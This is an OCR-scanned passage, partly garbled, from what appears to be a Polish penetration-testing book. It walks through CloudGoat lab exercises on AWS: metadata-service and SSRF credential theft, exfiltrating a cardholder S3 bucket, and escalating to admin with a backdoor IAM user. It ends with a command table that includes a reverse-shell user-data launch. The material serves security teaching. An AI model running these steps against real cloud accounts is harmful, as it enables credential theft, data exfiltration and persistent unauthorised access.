poufnych informacji przechowywanych w zasobnikach S3 pojawiaja, sie w doniesieniach
medialnych dosyé czesto i zazwyczaj sa powigzane z nieodpowiedzialnymi deweloperami,
niefrasobliwie przechowujacymi poufne czy wreez krytyczne informacje w zasobnikach S3
oznaczonych jako publiczne. W tej sekeji poznasz sposoby identyfikacji zasobnikéw S3 i metody
wykorzystywania bledéw w ich konfiguracji do uzyskania dostepu do wewnetrznej infrastruk-
tury AWS.

Aby to przeéwiczyé, przy uzyciu pakietu CloudGoat skonfigurujemy podatna na ataki instancje S3.
Aby to zrobié¢, wykonaj w konsoli obrazu CloudGoat Docker nastepujace polecenie:
./cloudgoat create cloud breach_s3

Po zakonczeniu konfiguracji na ekranie powinno sie pojawi¢ potwierdzenie z aplikacji Clou-
dGoat z identyfikatorem konta AWS i docelowym adresem IB jak pokazano na rysunku 8.25.

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.
[cloudgoat] OQutput file written to:

fusr/src/cloudgoat/cloud_breach_s3_cgidxPopib8cis/start.txt

Rysunek 8.25. Pomysine utworzenie srodowiska AWS cloud_breach_s3 za pomoca aplikacji
CloudGoat

Po zidentyfikowaniu ustug dziatajacych na zewnetrznym adresie IP napastnik moze zdecy-
dowa¢ sie na przeprowadzenie skanowania portéw na tym adresie. W naszym przypadku
port 80 jest otwarty i dostepny:
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1. Uzyj programu curl do sprawdzenia ushugi. Aby to zrobi¢, w oknie terminala
wykonaj polecenie curl http://<Adres IP>. Otrzymasz komunikat o bledzie
dotyczacym ustugi metadanych EC2, jak pokazano na rysunku 8.26.

-[~/../us-east-1/2019/06/19 |
http://34.237.223.72 3

<h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your reques
t's 'host' header and try again.</hl>

Rysunek 8.26. Dostep do publicznego adresu IP ustugi AWS

2. Dostawcy chmury z pewno$cig maja mozliwo$é zarzadzania po§wiadczeniami
dla zasob6w w dowolnych aplikacjach chmurowych klientéw. Jezeli jest to
zrobione poprawnie, mozna unikna¢ przechowywania poswiadczeri w postaci
zwyktego tekstu lub w repozytorium kodu zrédlowego. W AWS ustuga
metadanych instancji IMDS — ang. instance metadata service) dostarcza
informacji o instancjach, ktére mozna wykorzysta¢ do ich konfiguracji lub
zarzadzania nimi. Ustuga metadanych AWS uzywa adresu 169.254.169.254.
Aby pobraé¢ zawartosé z docelowego IP, bedziemy w poleceniu curl dodawaé
nagléwek hosta: curl http://<adresIP> -H 'Host:169.254.169.254", co powinno
zwroécié zawarto$é gléwnego katalogu strony internetowej, jak pokazano
na rysunku 8.27. Mozemy réwniez uzy¢ pakietu Burp Suite do przechwycenia
ruchu i dodania nagtéwka hosta do zadania oraz przegladania folderéw i katalogéw.

http://34.237.223.72
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15

2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
014-02-

Rysunek 8.27. Pomysiny dostep do adresu IP za pomocg ustugi metadanych

3. Po przejrzeniu zawartosci katalogéw wysylamy zadanie do pliku /latest/meta-data/
iam/security-credentials/cg-bank-WAF-Role-cg <ID >, ktére zwraca AccessKeyID,
secretAccessKey i token ses;ji, jak pokazano na rysunku 8.28. Token sesji wskazuje,
ze dane uwierzytelniajace sa oparte na czasie. Jezeli jednak trafisz na ustuge IMDS v2,
do pobrania danych uwierzytelniajacych bedzie wtedy niezbedne dostarczenie
dodatkowego tokena.
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-banking-WAF-Role-cgidx9opib

NATWMNTS q+gI\'IJ"IHA )
imZ+hRjQec6dG Mj /gaDIQS+WbXm1/ jpMbgX5meFc mI»

7Dn4idHgB+od FKDQ7HY76NviMz 1bK+p
#«Ln\"ifQuﬂmuH ey utTPNr'..beOL‘W;hD

HichScrL/TpSbla3fNSBBpE
f8csgGWTdIC3cvNsp3

Rysunek 8.28. Pomysine wygenerowanie poswiadczen logowania za pomoca ustugi
metadanych

4. Nastepnym krokiem jest utworzenie w systemie Kali Linux profilu AWS na podstawie
powyzszych informacji, jak pokazano na rysunku 8.29.

sudo aws configure --profile S3exploit

configure S3exploit
[sudo] password for kali:
AWS Access Key ID [None]: ASIAXFHQBHH5V425G46C

AWS Secret Access Key [None]: qEBkhp®/9DVaoMSi8a54hiGuD+I+cmTg7bYkIfgx
Default region name [None]:
Default output format [None]:

Rysunek 8.29. Tworzenie nowego profilu w systemie Kali Linux dla exploita S3

5. Po skonfigurowaniu profilu dodamy token sesji. W tym celu wprowadzimy
zmiane w pliku poswiadczenn AWS. Domyslna lokalizacja tego pliku to katalog
~/.aws/credentials. W naszym przypadku uruchomili$my wszystkie polecenia aws
z uzyciem sudo, stad wszystkie poswiadczenia i inne szczegély beda przechowywane
w katalogu domowym uzytkownika root. Teraz za pomoca naszego ulubionego
edytora tekstu otworzymy do edycji plik /root/. aws/credentials:

sudo nano /root/.aws/credentials

Dodamy do niego token aws_session_token, pozyskany w kroku 3., jak pokazano
na rysunku 8.30.

aws_access_key_id = ASIAXFHOBHH5V425G46C
aws_secret_access_key = qEBkhp@/9DVaoMSi8a54hiGuD+I+cmTg7bYkIfgx

= IQoJb3]pZ21uX2VjEAkaCXVzLWVhc3QtMSJHMEUCIFn29EDt%a

Rysunek 8.30. Dodawanie tokena awd_session_token do pliku uwierzytelnien
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6. Teraz kolejnym krokiem jest sprawdzenie, czy bedziemy w stanie uzyskaé¢ dostep
do zasobnikéw S3. Mozemy to zrobié w oknie terminala nastepujacym poleceniem:

sudo aws s3 list --profile S3exploit
7. Z wykorzystaniem wynikéw poprzedniego polecenia mozemy teraz pobraé zawarto§é
zasobnika S3 na hosta lokalnego poleceniem pokazanym na rysunku 8.31:
sudo aws s3 sync s3://<nazwa zasobnika> ./newfolder -profile S3exploit

53 éync s3://cg-cardholder-data-bucket-cgidx9opib8cis ./newfolder S3exploit

download: g-cardholder-data-bucket-cgidx9opib8cis/cardholder_data_secondary.csv to newfolder/car
dholder_data_secondary.csv

download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/cardholder_data_primary.csv to newfolder/cardh
older_data_primary.csv

download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/cardholders_corporate.csv to newfolder/cardhol
ders_corporate.csv

download: s3://cg-cardholder-data-bucket-cgidx9opib8cis/goat.png to newfolder/goat.png

Rysunek 8.31. Kopiowanie zawartosci zasobnika S3 do systemu lokalnego

8. Gotowe! W ten sposéb wykorzystaliémy btednie skonfigurowany zasobnik S3
i dokonalismy eksfiltracji danych z chmury organizacji docelowej. Teraz powinienes
by¢ w stanie zobaczy¢ pozyskane dane posiadacza karty wraz ze wszystkimi
wrazliwymi informacjami osobowymi (ang. PIT — personally identifiable information),
jak pokazano na rysunku 8.32.

[~fcloud]

newfolder/cardholder data primary.csv
-40-8379,490,Liesa,Andreix, landreixdlasphinn.com,Female,185.184.101.99,4 Scott Way,El Paso,Texas,88

683,491, Happy,011iffe,holliffedmddion.ne. jp,Female,214.160.188.92,40 Dexter Alley,Providence,R
nd,2912
22,492

m:rr-._rwu-
GCI.R"O!I\J

slar
72

yArline,Hauxwell,ahauxwelldnadropbox.com,Female,142.13.7.204,7 Clove Crossing,Canton,Oh

No -0 K

B
L in

666,493, Timi,VanBrugh, tvanbrughdodexblog. jp,Female,3.208,92.6,257 Petterle Plaza,Cincinnati,Oh
io

“0? n% ?-?1,uﬂ£ Carola,de Grey,cdegreydpda .com,Female,6@.2.54,.126,30259 Burning Wood Circle,Sandy,

Utah,84093

535-09-2517,495, Frasquito,Caldicot, fcaldicotdgmoakley.com,Male,97.110.197.149,8 Roxbury Lane,Miami,Flo
rida,33164
258-73-696@,496,Noble,Alenichicov,nalenichicovdramordpress.org,Male,27.137.99.103,5762 Anhalt Parkway,
Canton,0Ohio, 44705
22?~38—13@9,a9?,Lela.BiLson.lbilsondsadrupal.org.Female.lﬁ?.?ﬁ.EAl.S?.S? Victoria Center,Houston,Texas
4 17065
715-086-9685,498,Niko,Dowers,ndowersdt@ifeng.com,Male,186.46.138.15,48 Mosinee Trail,San Diego,Californ
13 92186

9058,499,Vilhelmina,Barkess,vbarkessdugbarnesandnoble.com,Female,87.30.54.27,10 Lindbergh Avenu

ndo,Florida, 32835

Rysunek 8.32. Dane skopiowane ze skompromitowanego zasobnika S3 zawierajg szereg
wrazliwych informacji

9. Ostatnim krokiem naszego éwiczenia jest powr6t do obrazu CloudGoat Docker

i zniszczenie utworzonej instancji. Robimy to po to, aby unikngé przypadkowego
narazenia sie na kontakt z prawdziwymi napastnikami oraz unikng¢ koniecznosci
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wnoszenia oplat rozliczeniowych za ustlugi AWS. Aby usunaé instancje, przejdz
do konsoli obrazu Dockera i wykonaj nastepujace polecenie:

./cloudgoat destroy cloud_breach_s3

Zrozumienie btedéw w konfiguracji S3 czesto moze pozwolié napastnikowi na uzyskanie
dostepu do takiego zasobnika i doprowadzié do eksfiltracji danych. A co w przypadku, gdy
dany dzierzawca popelni bledy w konfiguracji uprawnien uzytkownikéw? O tym dowiesz
sie w kolejnym podrozdziale.

Wykorzystanie btedéw
w prawach dostepu

Ponizej przedstawiono krétkie zestawienie najcze$ciej wystepujacych podatnosci i luk w zabezpie-
czeniach ustug chmurowych AWS:

Nadmierna liczba udostepnionych podsieci publicznych — wiekszo$¢ organizacji
stosuje ustuge VPC (ang. Virtual Private Cloud), ktéra jest wbudowana w AWS.
Niestety wiele z nich idzie po linii najmniejszego oporu i praktycznie nie zmienia
jej ustawien domy§lnych. Jednak w praktyce takie podejscie okazato sie bardzo
niebezpieczne (dobrymi przyktadami moga by¢ liczne incydenty, w ktérych
wykorzystano oparte na botnetach oprogramowanie ransomware). Podsieci
publiczne, jak sama nazwa wskazuje, sa dostepne dla kazdego uzytkownika

w sieci internet i potencjalnie mogg narazaé na ataki co$, co nie powinno by¢
normalnie dostepne.

Problemy z zarzadzaniem tozsamosciami i dostepem (IAM — ang. Identity and
Access Management) w organizacjach, ktére nie stosujg dwu- lub wielosktadnikowego
uwierzytelniania dla kont o wysokich uprawnieniach, wykorzystuja jedno konto
do wykonywania prawie wszystkich zadaf badZ zapewniaja ten sam wysoki poziom
dostepu do wszystkich nowych kont, a tym samym narazaja sie na duze ryzyko.
Zdarzaly sie przypadki, ze konta pracownikéw byly atakowane z uzyciem
wyrafinowanych metod socjotechnicznych (na przyktad poprzez znakomicie
przygotowane kampanie phishingowe), ktérych rezultatami byty masowe incydenty
ransomware, kosztujace organizacje niemal tyle samo, ile kosztowalaby odbudowa
calej firmy.

Blednie skonfigurowane zasobniki S3 — w poprzedniej sekcji badalismy btedng
konfiguracje uprawnien zasobnikéw S3. Jest to jeden z najczestszych btedéw
popetnianych podczas testéw penetracyjnych ustug w chmurze. Chociaz domyslnie
zasobniki S3 sg prywatne, zdarza sie, ze zespoly operacyjno-rozwojowe IT lub
strony trzecie zarzadzajace tego typu infrastruktura, maja tendencje do ich
upubliczniania, co otwiera je na nieuniknione zagrozenia ze strony hakeréw,
wykorzystujacych Zle skonfigurowane zasobniki S3 do pozyskiwania poufnych
informacji, takich jak klucze prywatne czy pliki zawierajace wrazliwe dane, w tym
kopie zapasowe i pliki dziennikéw.
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Serwery zréodlowe — wickszos¢ dostawcéw ustug chmurowych wykorzystuje
sieci CDN (ang. Content Delivery Network) do dystrybucji duzych wolumenéw
danych do klientéw. Niestety bardzo czesto sie zdarza, ze serwery po stronie sieci
CDN sg niepoprawnie skonfigurowane, co powoduje wycieki informacji

o pochodzeniu serweréw, co z kolei moze prowadzi¢ do powaznych naruszen
bezpieczenstwa. Podczas testéw penetracyjnych nierzadko udaje sie znalezé
serwery zrodlowe takich sieci i bezposrednio wykorzystywaé ich podatnosci i luki
w zabezpieczeniach, a nawet przejmowaé bazy danych za pomoca atakéw typu
brute-force.

Ataki typu SSRF (ang. Server Side Request Forgery) — sa to ataki, ktére pozwalaja
wykorzysta¢ legalng funkcjonalnosé AWS oraz zdobyé dostep do informacji
metadanych w celu nieuprawnionego pozyskania waznych poswiadezen uzytkownika
dla roli IAM i przejecia w ten spos6b kontroli nad mechanizmami zarzadzania
tozsamo$ciami i dostepami. Wiecej szczegélowych informacji na temat takich
atakéw poznasz juz za chwile.

Rekordy DNS — w wiekszosci przypadkéw napastnikowi juz podczas wstepnego
rekonesansu udaje sie fatwo pozyska¢ szczegétowe informacje na temat zasobnikéw
S3 w subdomenie organizacji. Problem sie pojawia, gdy zespét operacyjny zapomina
zaktualizowa¢ swoje rekordy DNS w odpowiednim czasie lub nawet pozostawia
nienadzorowane zasobniki S3 dostepne dla kazdego w publicznej sieci internet.

Majac na uwadze wszystkie powyzsze informacje, uzyjemy teraz pakietu CloudGoat do utworze-
nia wrazliwego wdrozenia AWS, na ktérym w ,.zZfowrogich” celach przeprowadzimy atak SSRF
z wykorzystaniem legalnej funkcjonalnosci AWS. Aby przeprowadzi¢ taki atak, powinienes
wykonaé polecenia oméwione ponizej:

1. Aby utworzy¢ podatng instancje AWS, przejdz do konsoli obrazu CloudGoat
Docker i w oknie terminala uruchom polecenie . /cloudgoat.py create ec2_ssrf
--profile masteringkali. Jego wykonanie powinno skonfigurowaé¢ odpowiednig
infrastrukture i dostarczy¢ potwierdzenie pokazane na rysunku 8.33, ktére zawiera
identyfikator dostepu i tajny klucz.

[cloudgoat] terraform apply completed with no error code.

[cloudgoat] terraform output completed with no error code.

[cloudgoat] Output file written to:

fusr/src/cloudgoat/ec2_ssrf_cgidayjqr4452k/start. txt

Rysunek 8.33. Tworzenie srodowiska es2_ssfr AWS za pomocg aplikacji CloudGoat
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2. W systemie Kali Linux utwoérz odpowiedni profil AWS przez uruchomienie w oknie
terminala polecenia sudo aws configure --profile ssrf, jak pokazano
na rysunku 8.34, a nastepnie wprowadz identyfikator oraz tajny klucz dostepu.

)-[~/cloud]
/s configure ile ssrf
[sudo] password for kali

AWS Access Key ID [None]: AKIAXFHQBHH52PQJSRTS
AWS Secret Access Key [None]: p@OM5e0DwIhqVCGk7s8gVurcdwbeYOhvmlexDh10
Default region name [None]:

3 &) n 0 = sl

Rysunek 8.34. Konfigurowanie profilu AWS w systemie Kali Linux

3. Uprawnienia klucza dostepu mozemy sprawdzié¢ programem enumerate-iam, ktéry
mozesz bezposrednio sklonowaé z serwisu Git przez uruchomienie polecenia sudo
git clone https://github.com/andresriancho/enumerate-iam, a nastepnie cd
enumerate-iam. Wszystkie dodatkowe zaleznosci mozesz zainstalowaé poleceniem
sudo pip3 install -r requirements.txt. Po zakoficzeniu mozesz uruchomi¢
narzedzie enumerate poleceniem sudo python3 enumerate-iam.py --access-key
xx --secret-key xx, jak pokazano na rysunku 8.35, co pozwoli Ci uzyska¢ szczegétowe
informacje, takie jak powigzany uzytkownik, identyfikator konta i lista innych ustug.

[~/cloud/enunerate-iam]
P AKIAXFHOBHHS4AXOHBKX LT C2FhubiIBrMtUtRxaSW7KGZiP1FIW2b1Eqbps/N
- [INFO] Starting permission enumerati 0 cess-key-1id "AKIAXFHOBHHS4AXOHEKX "
- [INFO] — Account ARN : arn: iam:: 49227 :user/solus-cgid8ymltdl6gu
62571 - [INFO] -- Account Id
62571 - [INFO] — Account Path: u
62571 -
62571
1-98-15 62571 - [
}1-@8-15 ' 62571 orked!
2021-98-15 10:07:02,21 62571 - [INFO] — dynamo escribe_endpoints() worked!

2
1-08-
1-08-15

1
1
2
1
1
1
1
1

Rysunek 8.35. Sprawdzanie uprawnien klucza dostepu za pomocg programu enumerate-iam

4. Zbadajmy funkcje lambda, do ktérych moze mie¢ dostep ten identyfikator.
Aby to zrobi¢, powinienes w oknie terminala uruchomié polecenie sudo aws
lambda Tist-functions --profile ssrf --region us-east-1, co powinno
dostarczy¢ liste dostepnych funkcji lambda, jak pokazano na rysunku 8.36.

Podczas uruchamiania powyzszego polecenia mozesz otrzymac nastepujacy komunikat
o btedzie: An error occurred (InvalidSignatureException) when calling the ListFunctions
operation: Signature expired (podczas wywotywania operacji ListFunctions wystapif
btad (InvalidSignatureException): waznos¢ podpisu wygasta). Zazwyczaj jest to spowo-
dowane problemami z ustawieniami zegara systemowego. Aby naprawic ustawienia i roz-
wigzac¢ problem, powinienes w oknie terminala wykona¢ polecenie sudo apt install
ntpupdate, a nastepnie sudo ntpdate pool.ntp.org.
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ws lambda list-functions

"Functions”: [

"FunctionName": "cg-lambda-cgidayjqra452k”,
"FunctionArn™: "arn:aws:lambda:us-east-1:492277152251:function:cg-lambda-cgidayjqra4s2k”,
"Runtime®: "python3.6",
"Role": "arn:aws:iam::492277152251:role/cg-lambda-role-cgidayjqris52k-service-role”,
"Handler”: "lambda.handler”,
"CodeSize": 223,
"Description™: "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2021-88-14T17:05:31.254+0000",
"Codeshaz56": "XT7bNZt3fzxtjSRINUCKLV/dONRCTVKM3D1u/BeK8zA=",
"Version": TEST",
"Environment”: {
"Variables": {
"EC2_ACCESS_KEY_ID": "AKIAXFHQBHHSSCTYE375",
"EC2_SECRET_KEY_ID": "nw3uo7YJgOSVa6XX1FL3NRkc2WuhT/Ry50d5758C"

}
b
"TracingConfig": {
"Mode": "PassThrough"
}

"RevisionId”: “Bcb43cd2-dade-48d1-b958-8b62a46618bf",
"PackageType": "Zip"

Rysunek 8.36. Lista funkcji AWS Lambda dostepnych dla naszego profilu

5. Funkcja lambda eksponuje klucz dostepu i klucz tajny. Aby uzyska¢ wiecej
informacji o konkretnej funkcji, powiniene$ w oknie terminala uruchomic
polecenie sudo aws Tambda get-function -function-name cglambda-cg<losowelID>
--profile ssrf -region us-east-1, co spowoduje wysSwietlenie szczegélowych
informacji o tej funkcji, tak jak to zostalo pokazane na rysunku 8.37.

6. Skonfigurujemy teraz nasz system Kali Linux za pomoca kluczy, ktére pozyskalismy
z funkcji lambda, i skorzystamy z profilu 1ambda-solus, jak pokazano na rysunku 8.38.

7. Sprawdzimy teraz instancje dostepne dla tego profilu. W tym celu w oknie
terminala uruchomimy polecenie sudo aws ec2 describe-instances -region us-
east-1 -profile Tambda-solus. Powinno to wyswietlié szczegoly instancji
wraz z publicznym adresem IP, jak pokazano na rysunku 8.39.

8. Gdy mamy juz publiczny adres IE, mozemy uzyska¢ dostep do instancji na porcie 80.
W oknie przegladarki powiniene§ zobaczy¢ komunikat o bledzie pokazany
na rysunku 8.40.

9. Teraz mozemy przeskanowaé pozyskany adres IP za pomoca dowolnego skanera,
takiego jak Nikto czy OWASP ZAP. Gdy bedziemy w stanie ,,oszuka¢” aplikacje
internetowy tak, aby w naszym imieniu wysylala zagdania HTTP do okreslonego
adresu URL, bedzie to znaczylo, ze aplikacja jest podatna na ataki typu SSRE
W naszym przypadku dodanie ciagu znakéw /?url=<adres URL kontrolowany
przez napastnika> do adresu IP pozwala nam kontrolowaé aplikacje internetowa,
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‘~/cloud]
‘—$ sudo configure —profile lambda-solus
AWS Access Key ID [None]: AKIAXFHQBHHSSCTYE375
AWS Secret Access Key [Nonel: nw3uo7YJq0SVa6XX1FL3NRkc2WuhT/Ry5@d5758C
Default region name [None]:
Default output format [None]:

Rysunek 8.38. Konfiguracja profilu AWS dla nowego klucza dostepu pozyskanego z funkgji
lambda

aby wykonywata zadania HTTP w naszym imieniu. Aby uzyska¢ poswiadczenia
logowania, uzyjemy wywotania funkcji interfejsu API metadanych przez dodanie
adresu URL http://168.254.169.254 /1atest/meta-data/iam/security/security-
-credentials/<nazwa pliku>do parametru pokazanego na rysunku 8.41, co powinno
spowodowa¢ pobranie tymczasowych poswiadczen, ktére bedziemy mogli
wykorzysta¢ podczas przeprowadzania testéw penetracyjnych.
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“

at
at
at
at
at
at
at
at
at
at

~/cloud
scribe-instances il E rofile lambda-solus

¢ @ D &

e KaliLinux % Kali Training X Kali Tools X Kali Ferums @ Kali Docs e NetHunter Offensive Security

TypeError: URL must be a string, not undefined

new Needle (/node modules/needle/lib/needle.js:172:11)

Function.module.exports. (anonymous function) [as get] (/node_modules/needle/lib/needle.js:818:12)
/home/ubuntu/app/ssrf-demo-app.js:32:12

Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)

next (/node medules/express/lib/router/route.js:137:13)

Route.dispatch (/node_modules/express/Lib/router/route.js:112:3)

Layer.handle [as handle_request] (/node_modules/express/lib/router/layer.js:95:5)
[node_modules/express/lib/router/index.js:281:22

Function.process_params (/node_modules/express/lib/router/index.js:335:12)

next (/node_modules/express/lib/router/index.js:275:108)

MS

Rysunek 8.40. Préba dostepu do serwera na publicznym adresie IP

10. Skonfiguruj profil AWS w systemie Kali Linux poleceniem sudo aws configure -
-profile ec2-temp, jak pokazano na rysunku 8.42, upewnij sie, ze aws_session_token
jest dodany do pliku aws credentials, a nastepnie wyswietl liste zasobnikéw S3
poleceniem sudo aws s3 1s -profile ec2-temp. W wynikach dziatania tego
polecenia znajdziesz zasobnik S3 o nazwie cgsecret- s3-bucket-<losoweID>.
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[ ¢
MSFU # Exploit-DB # GHDB

ok Kali Linux N Kali Training (K s ® Kali Docs Of curity

Welcome to sethsec's SSRF demo.

I am an application. I want to be useful, so I requested: http://169.254.169.254/latest/meta-
data/iam/security-credentials/cg-ec2-role-cgidayjqr4452k for you

{ "Code” : "Success”, "LastUpdated” ; "2021-08-14T17:06: 222“ MType” : "AWS-HMAC", "AccessKeyld® : "ASIAXFHOBHHS553FTZP4Z", "SecretAccessKey”
"emENILgIRVSMRQBz3TIIMSCTt8eU+INGJGZ]IbX", “Token™ IQthjj[J.leu_'(Z\jh-\nnC\Vth'\.’hc.SDl\lSj]M[‘I’C!(J(.I{frll\VthGWQ

fHJ‘I’dequ?jH)-’IDlH\-G\"I’.’ZZI\EEFK-\II‘LAI‘OOTJL}'R\\TPI'IOEBi.cuﬂ]lPZII:h\

N 7MRtXybsroLKqKvoDCDIQABoMNDkyMjc3MTUyMjUxigzh2eyamlmHYO 1 NuAdql wOrbNjQ

SyqLICMITMoEwxt TaMbpsPC4 Akiaz(Q4 sMwulX+gYI3FQEMUTZhpUct T94yaoyoghvYiekuXdBP11 LCy4YIhEOc BuywoC2ZmbTROH] 54 2 f0usHDHKI7agWNG Tpe
[CW/XbBhRy/yYzqle0dl]MWIFrImsvbdoCDpFX0v]HuH4 CgR+TrSISWdmVemaGpV4mRynfWE+MC4VnGC1 CA9gpp2x]yY|P3VEBZLTe 1 My fPibl

JONIMZ0r Ly 1 SuVAOuduQbDy geWOTpkXekAw] T3KSNCAOrNIAOy] e Theu E3 Lint ELNTOQpROvy CuAvBuy wG8w TTEDIVRVVIghuLh Y 25w T+ E+ygLOGHIW
MGFriFapF 1—]’2091’(06060}1\- LFKJ(RTGR&]]XJ MXZdd&Y + OmOghGEYB66+z5VKFAMNY

[Lc6GOBE+YYRIMCzRBICKBX 1GBGALzOYFT)Mc 1 BAYqOXNWEO 1 HT3rc Bvbh8LVV DFUQzKpk US 8xzu 7THs WijXIn6QG/BhV+ TThQVhpOs3RVras
fswB+/MfAYBpAETLZIxfamOHWATKk+erk7inL63CFrinDGLE D4GVQ/asp/mbUu7rvx5MWis1tQou39] Swiud(Mudal PREAQIKWIEgIOODVAXT+vixg6xd UzgzF

/NCxLSby3LY[JarOmcBoMPBbxMaCxv0s53PgkYyasteX +ucZwl Uyn]6E4vaoMih+WWQTwSoRBfrvAQtz2xLWD/Rn6/giG3tdQC 1 JK7 j0tgQowg==",
"Expiration” : *2021-08-14T22.40.477" }

Rysunek 8.41. Atak SSRF na aplikacje internetowg w celu pozyskania tymczasowych
danych uwierzytelniajacych

[~/cloud]

Rysunek 8.42. Wyswietlanie listy zasobnikéw S3 z wykorzystaniem tymczasowych
poswiadczen logowania

11. Pobierzemy teraz calg zawartos$é tego zasobnika poleceniem sudo aws s3 sync
s3://<nazwa zasobnika><katalog><plik> lokalizacja -profile, jak pokazano
na rysunku 8.43. Swietnie! Otrzymalismy w ten spos6b klucz dostepu i klucz tajny
uzytkownika o wysokich uprawnieniach. Taka sytuacja jest odpowiednikiem uzyskania
dostepu do domeny na poziomie administratora podczas wewnetrznych testéw
penetracyjnych.

~/cloud
download: g-secret-s

-[~/cloud

IA F HOBHHS

E|._|uu'l_l: .JlJtlet format [No

Rysunek 8.43. Pobieranie uprzywilejowanych kluczy dostepu AWS i tworzenie profilu
admina
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12. Po skonfigurowaniu w systemie Kali Linux AWS z profilem ec2-admin bedziesz
magl teraz wykonywaé dowolne dziatania w srodowisku EC2. Na przyklad mozesz
teraz wySwietlié w oknie terminala liste wszystkich uzytkownikéw poleceniem
sudo aws iam list-users -profile ec2-admin, jak pokazano na rysunku 8.44.

~/cloud/enumerate-iam
1 list-users ~admin

/cloudgoat”,

hepard-cgid8ymltdi6égu”,

user/solus-cgid8ymltd16g

"Path":
g rNa

Rysunek 8.44. Wyswietlanie listy uzytkownikéw z poziomu profilu admina

13. Aby wyswietlié¢ polityki przypisane do poszczegilnych uzytkownikéw, powiniene§
w oknie terminala uruchomié polecenie sudo iam 1ist-attacheduser- policies
-username <nazwa uzytkownika> --profile ec2-admin, jak pokazano na rysunku 8.45.

)= [~/cloud]
iam list-attached-user-policies shepard-cgidayjgra452k

"AttachedPolicies®™: [

"PolicyName®: “cg-shepard-policy-cgidayjgra452k”,
"PolicyArn®: "arn:aws:iam::492277152251:policy/cg-shepard-policy-cgidayjqra452k”

Rysunek 8.45. Wyswietlanie polityki dla wybranego uzytkownika
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Pamietaj, ze kolejne dwa kroki opisane ponizej stuzg jedynie do zademonstrowania, jak
z poziomu wiersza polecen konsoli utworzy¢ klucz dostepu aws iam i konto uzytkownika.
Musisz mie¢ Swiadomos¢, ze jezeli te kroki zostang wykonane w srodowisku AWS z wdro-
zonym CloudGoat, to zniszczenie instancji nie bedzie mozliwe, poniewaz CloudGoat moze
usunac tylko te sposréd swoich instancji, ktére zostaty utworzone za pomoca skryptu.

14. Teraz powiniene$ by¢ juz w stanie zmieni¢ tajny klucz kazdego uzytkownika. Aby
to zrobi¢, w oknie terminala wykonaj polecenie sudo iam createaccess- key -username
<nazwa uzytkownika> --region us-east-1 -profile ec2-admin, tak jak to zostalo
pokazane na rysunku 8.46.

)-[~/cloud/enumerate-iam)
iam create-ac -key shepard-cgidéymltd16gu ec2-admin

ey": {
¥
serName": " gidsymltdisgu”,
Bl

SHHSSGORZXTA" ,

YAIIL+z2vBOWBDO4TvVT TmWzOZkYORF X",

Rysunek 8.46. Tworzenie nowego klucza dostepu dla wybranego uzytkownika

15. Oprécz zmiany kluczy istniejacych uzytkownikéw mozesz dodatkowo utworzyé
nowe konto uzytkownika, ktére bedzie petnito dla Ciebie funkcje tylnego wejscia
(ang. backdoor), zapewniajacego dostep do tego srodowiska. Aby to zrobié, powinienes
w oknie terminala wykonaé polecenie sudo aws iam create-user -username backdoor
-profile ec2-admin. Na ekranie zostana wy$wietlone informacje o nowo utworzonym
koncie, tacznie z kluczem dostepu i kluczem tajnym, jak pokazano na rysunku 8.47.

~/cloud/enumerate-iam
iam create-user --user-name backdoor --profile ec2-admin

Rysunek 8.47. Tworzenie nowego konta uzytkownika petnigcego funkcje tylnego wejscia
do srodowiska

16. To juz wszystko w tym éwiczeniu. Mozesz teraz powréeié do obrazu CloudGoat
Docker i zniszczy¢ te konfiguracje AWS przez uruchomienie w oknie terminala
polecenia . /cloudgoat.py destroy all.

W tabeli 8.3 zamieszczono opis kilku wybranych polecen, ktére mozesz wykorzystaé¢ pod-
czas przeprowadzania testéw penetracyjnych chmury AWS.
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Tabela 8.3. Wybrane polecenia uzyteczne podczas przeprowadzania testéw penetracyjnych
w chmurze AWS

Opis

Przyktad polecenia

Tworzy nowa wersje
polityki

Oznacza wybrang
wersje polityki jako
domysing

Tworzy instancje ES2
z uzyciem
istniejacego profilu

Tworzy nowy klucz
dostepu dla uzytkownika

Tworzy nowy profil
logowania

Aktualizuje istniejacy
profil logowania

Przypisuje polityke
do:

Uzytkownika
Grupy
Roli

Tworzy lub
aktualizuje polityke
dla:

Uzytkownika

aws iam create-policy-version -policy-arn nazwa polityki -
policy-document file://<Sciezka>/policy.json -set-as-default

aws iam set-default-policy-version -policy-arn
nazwa_polityki -version-id v2

aws ec2 run-instances -image-id ami-ad4dc46db -instance-type
t2.micro -iam-instance-profile Name=iam-full-access-ip
-key-name my ssh key -security-group-ids sg-123456

aws ec2 run-instances -image-id ami-a4dc46db
-instance-type t2.micro -iam-instance-profile
Name=iam-full-access-ip -user-data
file://script/with/reverse/shell.sh

aws iam create-access-key -user-name nazwa_uzytkownika

aws iam create-login-profile -user-name nazwa_uZzytkownika -
password '|[3rxYGG13@'~68)0{,-$1B"zKejZZ.X1;6T}
<XT5is0E=LB2L"G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49"=fT;

|, TyTKOLG7J [gH$LV5U<9'0~Z", 3 [iT-D

(' -no-password-reset-required

aws iam update-login-profile -user-name nazwa_uzytkownika
-password '|[3rxYGG13@'~68)0{,-$1B"zKejZZ.X1;6T}
<XT5is0E=LB2L"G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49"=fT; | ,1
yTKOLG7J [gH$LV5U<9'0~Z",jJ[iT-D~ (' --no-password-reset-
required

aws iam attach-user-policy -user-name nazwa_uzytkownika
-policy-arn arn aws:iam::aws:policy/AdministratorAccess

aws iam attach-group-policy -group-name nazwa_grupy
-policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam attach-role-policy -role-name nazwa roli -policy-arn
arn:aws:iam::aws:policy/AdministratorAccess

aws iam put-user-policy -user-name nazwa_uzytkownika -policy-
-name nazwa_polityki -policy-document

Grupy file://<Sciezka>/policy.json

Roli aws iam put-group-policy -group-name nazwa grupy -policy-name
nazwa_polityki -policy-document
file://<Sciezka>/policy.json
aws iam put-role-policy -role-name nazwa_roli -policy-name
